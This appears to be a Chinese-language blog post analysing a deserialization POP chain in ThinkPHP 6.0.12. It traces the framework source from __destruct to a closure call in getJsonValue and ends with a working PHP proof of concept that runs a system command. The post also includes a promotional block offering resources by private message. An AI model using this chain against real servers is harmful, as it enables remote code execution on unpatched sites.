Thinkphp最新版本漏洞分析

環境

Thinkphp6。0。12LTS(目前最新版本);

PHP7。3。4。

安裝

composer create-project topthink/think tp6

測試程式碼

Thinkphp最新版本漏洞分析

漏洞分析

漏洞起點不是

__desturct

就是

__wakeup

全域性搜尋下,起點在

vendor\topthink\think-orm\src\Model。php

只要把

this->lazySave

設為

True

,就會呼叫了

save

方法。

Thinkphp最新版本漏洞分析

【一>所有資源關注我,私信回覆“資料”獲取<一】

1、網路安全學習路線

2、電子書籍(白帽子)

3、安全大廠內部影片

4、100份src文件

5、常見安全面試題

6、ctf大賽經典題目解析

7、全套工具包

8、應急響應筆記

跟進

save

方法,漏洞方法是

updateData

,但需要繞過①且讓②為

True

,①呼叫

isEmpty

方法。

Thinkphp最新版本漏洞分析

public function save(array $data = [], string $sequence = null): bool { // 資料物件賦值 $this->setAttrs($data); if ($this->isEmpty() || false === $this->trigger(‘BeforeWrite’)) { return false; } $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

跟進

isEmpty

方法,只要

$this->data

不為空就行。

Thinkphp最新版本漏洞分析

$this->trigger

方法預設返回就不是

false

,跟進

updateData

方法。漏洞方法是

checkAllowFields

預設就會觸發。

Thinkphp最新版本漏洞分析

protected function updateData(): bool { // 事件回撥 if (false === $this->trigger(‘BeforeUpdate’)) { return false; } $this->checkData(); // 獲取有更新的資料 $data = $this->getChangedData(); if (empty($data)) { // 關聯更新 if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); } return true; } if ($this->autoWriteTimestamp && $this->updateTime) { // 自動寫入更新時間 $data[$this->updateTime] = $this->autoWriteTimestamp(); $this->data[$this->updateTime] = $data[$this->updateTime]; } // 檢查允許欄位 $allowFields = $this->checkAllowFields();

跟進

checkAllowFields

方法,漏洞方法是

db

,預設也是會觸發該方法,繼續跟進。

Thinkphp最新版本漏洞分析

protected function checkAllowFields(): array { // 檢測欄位 if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db();

跟進

db

方法,存在

$this->table 。 $this->suffix

字串拼接,可以觸發

__toString

魔術方法,把

$this->table

設為觸發

__toString

類即可。

Thinkphp最新版本漏洞分析

public function db($scope = []): Query { /** @var Query $query */ $query = self::$db->connect($this->connection) ->name($this->name 。 $this->suffix) ->pk($this->pk); if (!empty($this->table)) { $query->table($this->table 。 $this->suffix); }

全域性搜尋

__toString

方法,最後選擇

vendor\topthink\think-orm\src\model\concern\Conversion。php

類中的

__toString

方法。

跟進

__toString

方法,呼叫了

toJson

方法。

Thinkphp最新版本漏洞分析

跟進

toJson

方法,呼叫了

toArray

方法,然後以JSON格式返回。

Thinkphp最新版本漏洞分析

跟進

toArray

方法,漏洞方法是

getAtrr

預設就會觸發,只需把

$data

設為陣列就行。

Thinkphp最新版本漏洞分析

public function toArray(): array { $item = []; $hasVisible = false; foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, ‘。’)) { [$relation, $name] = explode(‘。’, $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } } foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, ‘。’)) { [$relation, $name] = explode(‘。’, $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } } // 合併關聯資料 $data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 關聯模型物件 if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 關聯模型物件 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key);

跟進

getAttr

方法,漏洞方法是

getValue

,但傳入

getValue

方法中的

$value

是由

getData

方法得到的。

Thinkphp最新版本漏洞分析

public function getAttr(string $name) { try { $relation = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $relation = $this->isRelationAttr($name); $value = null; } return $this->getValue($name, $value, $relation);

跟進

getData

方法,

$this->data

可控,

$fieldName

來自

getRealFieldName

方法。

Thinkphp最新版本漏洞分析

跟進

getRealFieldName

方法,預設直接返回傳入的引數。所以

$fieldName

也可控,也就是傳入

getValue

$value

引數可控。

Thinkphp最新版本漏洞分析

跟進

getValue

方法,在Thinkphp6。0。8觸發的漏洞點在①處,但在Thinkphp6。0。12時已經對傳入的

$closure

進行判斷。此次漏洞方法的

getJsonValue

方法。但需要經過兩個if判斷,

$this->withAttr

$this->json

都可控,可順利進入

getJsonValue

方法。

Thinkphp最新版本漏洞分析

protected function getValue(string $name, $value, $relation = false) { // 檢測屬性獲取器 $fieldName = $this->getRealFieldName($name); if (array_key_exists($fieldName, $this->get)) { return $this->get[$fieldName]; } $method = ‘get’ 。 Str::studly($name) 。 ‘Attr’; if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); } if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value);

跟進

getJsonValue

方法,觸發漏洞的點在

$closure($value[$key], $value)

只要令

$this->jsonAssoc

True

就行。

$closure

$value

都可控。

Thinkphp最新版本漏洞分析

protected function getJsonValue($name, $value) { if (is_null($value)) { return $value; } foreach ($this->withAttr[$name] as $key => $closure) { if ($this->jsonAssoc) { $value[$key] = $closure($value[$key], $value);

完整POP鏈條

Thinkphp最新版本漏洞分析

POC編寫

<?phpnamespace think{ abstract class Model{ private $lazySave = false; private $data = []; private $exists = false; protected $table; private $withAttr = []; protected $json = []; protected $jsonAssoc = false; function __construct($obj = ‘’){ $this->lazySave = True; $this->data = [‘whoami’ => [‘dir’]]; $this->exists = True; $this->table = $obj; $this->withAttr = [‘whoami’ => [‘system’]]; $this->json = [‘whoami’,[‘whoami’]]; $this->jsonAssoc = True; } }}namespace think\model{ use think\Model; class Pivot extends Model{ }}namespace{ echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));}

利用

Thinkphp最新版本漏洞分析

Thinkphp最新版本漏洞分析